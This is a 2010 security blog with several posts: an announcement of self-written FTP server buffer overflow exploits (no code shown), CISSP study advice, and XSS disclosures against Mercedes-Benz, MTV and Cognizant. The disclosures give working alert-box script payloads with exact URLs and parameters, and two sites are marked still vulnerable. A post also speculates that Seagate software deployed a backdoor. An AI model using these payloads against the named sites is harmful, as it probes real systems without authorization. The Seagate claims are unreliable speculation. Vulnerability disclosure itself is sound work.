Monday, July 19, 2010

2 Remote Buffer Overflow Code Execution Exploits Published

Hey folks,

As of late, I am reading up on buffer overflows. This is one topic I had been escaping for quite a time. All those hexes \x* , CPU Registers [ eip, esp, ecx, ebx eax ], exploit jargon like sled, nops, jmp et all just didn't made any sense. Until few weeks back when I decided to take it head on / [ me beats his chest and roars! ] :D

<-----Rewind----->Back a few weeks from now

I wanted to start up with something new. Had an idea and started researching on it. It is an interesting subject but there's not much of a 'fresh' learning. So, I put it on a pause for a while and decided to start with BoF. Nevertheless, it's going to be useful to many who are freshers or currently in the Information Security domain ofcourse when I complete it. ;)

After going over half-a-dozen quality articles, ability server & sl mail tutorial by guys over at offsec, I began testing on an open-source ftp server - Easy FTP server v1.7.0.11.

For a perfect noobie in BoF, easyftp server was no easy.. :)
Anyways, in around half a day, I could confirm 2 vuln commands in this application. Working on and off along with work at office, I wrote stable Remote Buffer Overflow command execution exploits for each of these. J

<-----quick snip----->
For those who are new at fuzzing and finding buffer overflows, and are looking for a formal book, here is one that I'd recommend ya:

This is a nice book that would take you through basics of fuzzing, gradually introducing you to several fuzzing frameworks available today.

A good read for anyone wanting to learn fuzzing.

Fuzzing... is the first and only book to cover fuzzing from start to finish, bringing disciplined best practices to a technique that has traditionally been implemented informally. The authors begin by reviewing how fuzzing works and outlining its crucial advantages over other security testing methods. Next, they introduce state-of-the-art fuzzing techniques for finding vulnerabilities in network protocols, file formats, and web applications; demonstrate the use of automated fuzzing tools; and present several insightful case histories showing fuzzing at work.

<-----recent----->
I submitted my exploits over to Exploit-db yesterday [ http://www.exploit-db.com/remote/ ] and later in the day, saw they were confirmed as well. :)

<-----today----->
I feel great at this. Though it's simple, now that I know it, the experience which came out of past few weeks is real learning and very interesting.

You may chose to read my exploits here:



Best Regards.

Sunday, June 20, 2010

An interesting truth about what motivates us!

What Motivates us!
Came across this YouTube video by guys over at RSAnimate. An awesome animation / presentation on the motivating parameters for an individual and how they differ from the expected norms. A good watch...



Best Regards.

To CISSP Aspirants!

Hi folks,

In June 2009, I cleared ISC2 CISSP exam and posted my CISSP study plan. Since then, I have continuously been receiving comments and requests both on my blog post and offline at my email to share resources which I used to my preparation.

Although I have shared the appropriate websites and forum details in my CISSP Study Plan post above, getting study material together still appears challenging to many candidates. Therefore, I've decided to actively support all you CISSP aspirants through directing you to available study resources.

Request you everyone, please not to ask me for any exam dumps for CISSP study because there aren't any. What I am going to try and help you with would be the study material which you will need in your CISSP preparation.

Please put your request or any concern on my CISSP Study Plan post here http://ipositivesecurity.blogspot.com/2009/06/cissp-my-study-plan.html and I shall try and share the appropriate pointers in this post.

Wish you all the best in your pursuit to CISSP.

Best Regards.

Mercedes Benz Cross Site Scripting (XSS)

+++About Mercedes Benz+++
http://en.wikipedia.org/wiki/Mercedes-Benz


+++Affected URL(s)+++
http://www.mercedes-benz.com/


+++Vulnerable Parameter / Function+++
'dsc_wdw'


+++PoC+++
Home Page -> Request Brochure
vuln parameter -> @dsc_wdw


+POST Request+
https://e-services.mercedes-benz.com/Dialog_RQB/RQB;jsessionid=0000fct1dbQH_OtagtCR9h9ZhZj:14k117133?subprocess=RQBc_Cars&locale=en_IN&site_locale=en_IN


+Parameters+
dsc_lnk=sn_step2&dsc_pg=p1302&dsc_wdw='<script>alert("Mercedes.Benz Vuln to XSS")</script>&dsc_lnkapx=&historyBack=true&lastPage=p1302a&p1302.mtxCar%5B0%5D%5B0%5D=car002




Mercedes Benz Ist Notified: January 22, 2010
                                IInd Notification: June 15, 2010
Response Received: None
Current Status: Vulnerable (As of today, June 20, 2010)


Best Regards.

MTV vulnerable to Cross Site Scripting (XSS)

+++About MTV+++
http://en.wikipedia.org/wiki/MTV


+++Affected URL(s)+++
http://www.mtv.com
http://think.mtv.com


+++Vulnerable Parameter / Function+++
'q'
'search_term'


+++PoC+++
MTV - http://www.mtv.com
http://www.mtv.com/search/?q=<script>alert('xss from search')</script>


Think.MTV - http://think.mtv.com

http://think.mtv.com/Search/TagResults.aspx?search_term=<script>alert('xss from search_term')</script>&filter_by=7&sort_order_type=1&category_ucid=44FDFFFF0002D79CFFFF00000069&time_stamp=








MTV Ist Notified: January 06, 2010
          IInd Notification: June 15, 2010
Response Received: None
Current Status: Vulnerable (As of today, June 20, 2010)


Best Regards.

Sunday, June 13, 2010

Cognizant vulnerable to Cross-Site Scripting (XSS)

+++About Cognizant+++
We help transform core processes for greater flexibility, higher efficiency and lower costs. 
http://www.cognizant.com/html/aboutus/about-us.asp

+++Affected URL(s)+++
http://cognizant.com/html/insights/insightslandingpage.asp

-> Case Studies
-> White Papers

+++Vulnerable Parameter / Function+++
'hidPageID''

+++PoC+++

POST Request
-> Case studies
hidCommand=&hidSearchCriteria=&hidRequestedPageNumber=&hidPageID=<-script->alert("XSS from hidPageID")</script>&hidIncludeFileName=leftNav-insights.asp&hidContentType=casestudy&hidYear=&hidPageTitle=Case+Studies&hidNavigatingFrom=Insights&hidPageNumber=1

-> White Papers
POST http://cognizant.com/html/insights/insightslandingpage.asp
global_office=%2Fhtml%2Fhome.asp&hidCommand=&hidSearchCriteria=&hidRequestedPageNumber=&hidPageID=<-script->alert("XSS from hidPageID")</script>&hidIncludeFileName=leftNav-insights.asp&hidContentType=bluepaper&hidYear=&hidPageTitle=White+Papers&hidNavigatingFrom=Insights&selFilterCriteria=All+white+papers&hidPageNumber=3


Cognizant Ist Notified: February 23, 2010
                IInd Notification: March 29, 2010
Response Received: March 30, 2010
Current Status: Fixed (As of today, June 13, 2010)

Thanks to Nikhilesh Jasuja @Cognizant for his quick response on resolving this issue.

Best Regards.

Friday, April 2, 2010

Backdoor in Seagate..

Yesterday, on March 02, 2010, when I started Seagate Backup Manager from my desktop I had no freakin idea that my AV alerts n HIPS logs are going to scream their lungs out.

I've a 320 gb portable, a 500 gb external n another 500 gb external backup drives. I had the 320 gb plugged in. Upon starting the backup manager, the system came to a disturbingly slow run. A 100% CPU hog started. Ofcourse, at that time, I thought it appeared to be due to the 2 VMs running on my box. Since that hadn't occurred even when I work on my VM lab - around 6 workstation VMs n 2 server VMs - something didn't look right. So I checked & found there is this known bug / behavior with Seagate Backup Manager. Ok, so rebooted the box and started up again with what I had been doing earlier.

And then the AV alert pop ups suddenly seem to go berserk. McAfee AV started detecting n deleting / cleaning up exploits, trojans  n the alerts stood there on the screen.

Here's a portion of alerts screens I captured:


So I decided to check HIPS logs as well. I found there were several continuous attempts to access outlook files and address books, primarily. All were denied, of course.

Here's some of the screens from my box's HIPS logs:

As you can see above, the exploits do not seem specific to windows. There are generic trojans, backdoors, and linux exploits as well. The hips logs also suggest a behavior of a typical trojan / virus attempting to access email program files n address book.

I checked for any outbound connections when I started this app again later . There were no suspicious destinations at all. It appears to me this is kind of a scheduled activity build inside the application. I recall using this app post lunch hours and nothing had came up then.

In my opinion, this is what might have happened when I started the Seagate backup manager:

1. Application gets started, calls 'home'
2. Receives exploits / trojans / virus / backdoor etc.
3. Executes them

After recent Energizer backdoor disclosure, it had been speculated that backdoor was actually being an administrative function for developers. Now looking at yesterday's incident, with another widely used brand, I find the these behaviors could very well be more than just speculations or errors from developers.

It may not be incorrect to consider these incidents as calculated and planned attack vectors. Today when even big corporations are consistently receiving security advisories, then it is impractical to believe the HDD vendors are secure. Compromise of their server(s), responsible for pushing product updates on to the end-clients, can cover a broad target surface for an attacker(s) over a short period of time.

As long as vendors are not held accountable, I believe we cannot expect them to respond proactively. And till then, it remains the responsibility of the Information Security pupils to find the holes n get them fixed, as has been since long.

Please feel free to share your experience and thoughts over this finding / incident.

Best Regards..